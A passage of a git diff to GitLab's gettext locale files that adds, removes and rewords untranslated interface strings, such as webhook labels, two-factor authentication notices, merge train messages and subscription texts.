@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/fil_PH/gitlab.po b/locale/fil_PH/gitlab.po
index 75e1dec729a..260e9dfc16f 100644
--- a/locale/fil_PH/gitlab.po
+++ b/locale/fil_PH/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fil\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:40\n"
+"PO-Revision-Date: 2020-09-04 23:04\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
